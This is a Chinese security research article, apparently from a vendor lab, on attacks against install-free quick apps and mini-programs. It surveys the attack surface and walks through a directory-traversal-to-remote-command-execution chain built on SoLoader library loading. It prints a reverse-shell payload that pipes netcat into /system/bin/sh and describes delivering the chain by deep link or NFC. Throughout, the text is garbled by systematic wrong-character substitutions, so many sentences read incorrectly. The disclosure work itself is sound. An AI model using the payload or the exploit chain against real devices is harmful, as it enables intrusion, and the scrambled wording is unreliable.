关于安全:潜藏在手机中的新威胁免安装应用安全指北

41次阅读

共计 3797 个字符,预计需要花费 10 分钟才能阅读完成。

1. 背景简介

随着 5G 时代降临,互联网信息爆炸式增长,挪动利用逐步变得体积宏大且性能简单。一方面一般消费者会越来越少地去下载客户端,绝大多数需要须要以更轻量化的形式失去满足,另一方面,每一个超级 APP 或手机厂商都想生态化的汇聚更多内容。由此,“快利用”一类的免装置利用应运而生。

往年,OPPO 子午实验室在 Black Hat Asia 黑帽大会上分享了针对免装置利用的钻研与剖析成绩,如何从一般接口调用到利用权限的近程命令执行,咱们将在本篇文章中进行更为详尽的剖析。

BlackHat 是由传奇黑客 Jeff Moss 于 1997 年开办的全球性网络安全大会,被誉为黑客世界的“奥斯卡”,每年别离在美国、欧洲、亚洲各举办一场,作为寰球信息安全行业的顶级盛会,自诞生以来每年都吸引了寰球泛滥企业、政府机构和顶级平安厂商、钻研组织的关注和参加。

2. 架构简介

免装置利用架构多样,但从整体上看能够分为挪动操作系统厂商与平台型利用厂商两种不同的派别。

挪动操作系统厂商
国外以谷歌、苹果为代表的操作系统厂商充分利用作为平台的劣势,也不便开发者疾速上手,将传统的 Android 与 iOS 利用模块化,构造、开发语言要求等均不变,利用能够依据理论状况按需加载,极大水平上缩减了用户的应用等待时间,进而实现”免装置“的成果。

谷歌 InstantApp 与苹果 AppleClips 对于安卓和 iOS 来说更多是一个“长期利用”的角色,因而操作系统会对其可拜访的数据、权限有所限度。比方 iOS 中,AppleClips 不能和其余利用自在的替换数据,只能与本人对应的残缺利用 (full-app) 进行数据共享;AppleClips 不能进行后盾服务,也不能拜访通讯录、文件治理、短信等用户敏感数据,甚至连告诉都会在申请 8 小时之后主动撤销。

平台型利用厂商
平台型利用厂商以国内的为显著代表,诸如国内九大安卓手机厂商所创立的快利用平台、微信、支付宝等。此类平台型利用充沛排汇了传统 H5 利用的劣势,并将其与挪动利用的 JS-Bridge 相结合。

快利用 / 小程序引擎实际上与浏览器的多过程架构十分相似,将咱们的 Web 前端利用打包之后运行在引擎之上,不同快利用 / 小程序运行在不同的过程中,互不烦扰。引擎作为中间人,一方面承当着快利用 / 小程序代码解释器,另一方面也是快利用 / 小程序与操作系统内核、底层硬件沟通的双向桥梁。

3. 攻击面解析

对于谷歌 InstantApp 与苹果 AppleClips 的攻击方式篇幅限度,不在此赘述。下文次要剖析国内用户更常应用的快利用 / 小程序的攻击面。

如下图架构纵览所示,业务服务端、引擎服务端、引擎、原生 Android/iOS 利用、操作系统与底层硬件五者之间存在着诸多数据交互过程,而引擎又好像是架设在 Android/iOS 之上的微型 OS,撑持并治理快利用 / 小程序生态失常运行。

3.1 从利用下载启动流程看

在包下载的过程中,存在两条攻打门路,如果厂商未应用严格的 HTTPS 传输,攻击者可在下载过程替换数据,将歹意内容回传给客户端;另外如果厂商将包长期下载到手机的内部存储,歹意利用也能够抓住这个机会进行替换,当然这也依赖于引擎未对包做文件校验。

3.2 从引擎提供接口看

无论是小程序还是快利用都提供了许多调用零碎或者底层硬件的接口,从拍照录音到操作文件系统,泛滥的接口暗藏着微小的安全隐患。总体能够归为如下几类:
1) 传感器或硬件调用类:电量、蓝牙、NFC、屏幕、键盘、减速计、罗盘等

针对此类不蕴含用户敏感数据的接口,咱们须要关注的便是受权,快利用 / 小程序是否能够不通过受权调用接口能力或一次受权永恒受权;

2) 文件系统: 创立文件 / 目录、下载文件、上传文件、删除文件 / 目录、解压文件等
文件系统间接与 Android/iOS 操作系统交互,具备很高的危险,须要关注的点较多,如下:

  1. 受权,快利用 / 小程序须要取得用户受权能力调用接口读写文件系统;
  2. 可操作文件系统范畴,快利用 / 小程序可操作的根目录是否被限度在公有目录下的一个具体目录内;
  3. 接口是否判断了目录穿梭符号../, 下载文件接口或解压接口是否穿梭目录跳出可操作文件系统范畴;
  4. 接口在底层可能调用了 C ++ 函数或零碎函数,是否可能注入歹意字符串执行命令或删除不可期的目录文件。

3) 平台特色:实名认证、广告、利用下载、卡券、红包、账号体系、领取等。

此类与服务端交互的接口更多的是业务逻辑破绽,咱们须要关注这些接口是否在客户端实现校验,哪怕是整个校验流程中的一步,都有可能造成微小危害。

实名认证、领取等接口,客户端验证可能绕过儿童模式管制或付费体系,实现本地破解;

广告、利用下载等计费接口,快利用 / 小程序是否绕过计费或刷量;

4) 操作系统调用:相机、录音、利用跳转、数据存储、告诉、WebView、剪贴板、联系人、日历等。

操作系统调用波及用户敏感信息,除了上述的受权之外,咱们须要关注:

  1. 接口是否在后盾继续运行,比方录音,拍照;
  2. WebView 是否关上任意 URL,并携带身份信息字段;
  3. 利用跳转范畴是否可控,反对哪些协定;
  4. 数据存储的地位是否平安,其余快利用 / 小程序或者原生利用是否篡改;

3.3 从引擎底层看

引擎本身由逻辑代码 JavaScript 解析引擎、WebView 组件、图片音视频解码组件、JS to C++/Swift/ObjcC 零碎调用库等组成。

1)咱们首先说说 JS 引擎,不同平台不同厂商应用的 JS 引擎各不相同,但总归是基于 V8 或者 JavaScriptCore,快利用 / 小程序引擎首先将 JS 文件预处理、结构化,再交由 JS 引擎进行优化执行。

小程序 快利用
Android X5 内核 /UC 内核 V8 引擎
iOS JavaScriptCore

也就是说如果咱们在小程序 / 快利用的逻辑代码层也就是小程序的 js 文件、快利用的 ux 文件中插入 V8/JSC 的破绽利用代码,期待引擎进行解析执行便可造成文件读写甚至命令执行,当然具体成果这也取决于不同厂商在对 JS 引擎破绽缓解措施。

2)图片音视频解码组件

名称 组件 是否有历史 CVE 破绽
音频 MediaBrowserCompat、FFmpeg… 未知
JPG/JPEG libjpeg-turbo、… 存在
视频 Mediacodec、libstagefright、FFmpeg… 存在

快利用 / 小程序反对多种图片格式解析、音视频播放、live 直播等,除了依赖操作系统底层的组件外,本身可能嵌入了很多自定义动态链接库,而很多动态链接库比方 libjpeg-turbo、FFmpeg 都是存在历史 CVE 破绽了,而对这些库的 Fuzz 也是比拟不便的,因而这是快利用 / 小程序引擎的一个潜在攻击面。

4. 从目录穿梭到近程命令执行

咱们在第二章节提到过,文件系统是引擎提供的权限很高的接口,稍不慎便可造成命令执行等,于是咱们便从此既定目标登程,看看在快利用中是否实现目录穿梭。

快利用实现了较多的文件读写操作 API,比方:

access(object)
appendFile(object)
mkdir(object)
readFile(object)
rename(object)
readdir(object)
...

如果要实现近程攻打,则咱们须要从网络上向受害者设施下载写入文件,自然而然,咱们首先尝试应用其中某接口穿梭到 lib-main 写入动态链接库 lib-xxx.so

通过真机测试,咱们胜利写入了歹意的 so 文件加载库:

那为什么咱们要向这个目录写入 so 文件呢?那咱们须要提到一个货色——Facebook SoLoader。

SoLoader 是 facebook 推出的一个 So 文件加载库,它封装了 System.loadLibrary 并且可能解决 So 文件的依赖。

当 React Native 利用第一次启动时,SoLoader 会在 /data/data/package_name 下创立一个 lib-main 文件夹并依据规定提取 apk 中的 So 文件到其中。

如此咱们便可让引擎加载咱们歹意的 so 文件加载库,达到本地命令执行的成果:

shell.so 执行 => system("/system/bin/toybox nc 192.168.1.153 1233 | /system/bin/sh  &");


但要实现近程命令执行还远远不够,受害者须要关上指标快利用,并二次重启快利用引擎。咱们晓得快利用反对二维码、deeplink、NFC 等形式关上利用,于是整个破绽利用链如下:

只须要用户点击 hap scheme 链接或者接触 NFC 设施,咱们便可实现近程命令执行。

5. 总结与瞻望

本文提到的免装置利用攻击面与破绽利用形式或者只是冰山一角,但免装置利用是挪动利用的的将来发展趋势,跨平台的个性,不仅在手机终端宽泛应用,也开始搭载在新能源汽车的车机系统之中,或者当前还可能在工控、医疗、穿戴设施上看到它的身影,它的破绽潜在威力切实不容小觑。

6. 援用链接

[1] https://www.infoq.cn/article/…
[2] https://github.com/facebook/S…

作者简介

Zhiyang OPPO 子午平安实验室网络安全工程师
OPPO 子午平安实验室成立于 2019 年,以“爱护用户的平安与隐衷,为品牌注入平安基因”为使命,继续关注业务平安、红蓝反抗、AIoT 平安、Android 平安、数据和隐衷爱护等畛域,深耕平安攻防钻研及研发体系平安建设。

获取更多精彩内容,扫码关注 [OPPO 数智技术] 公众号

正文完
 0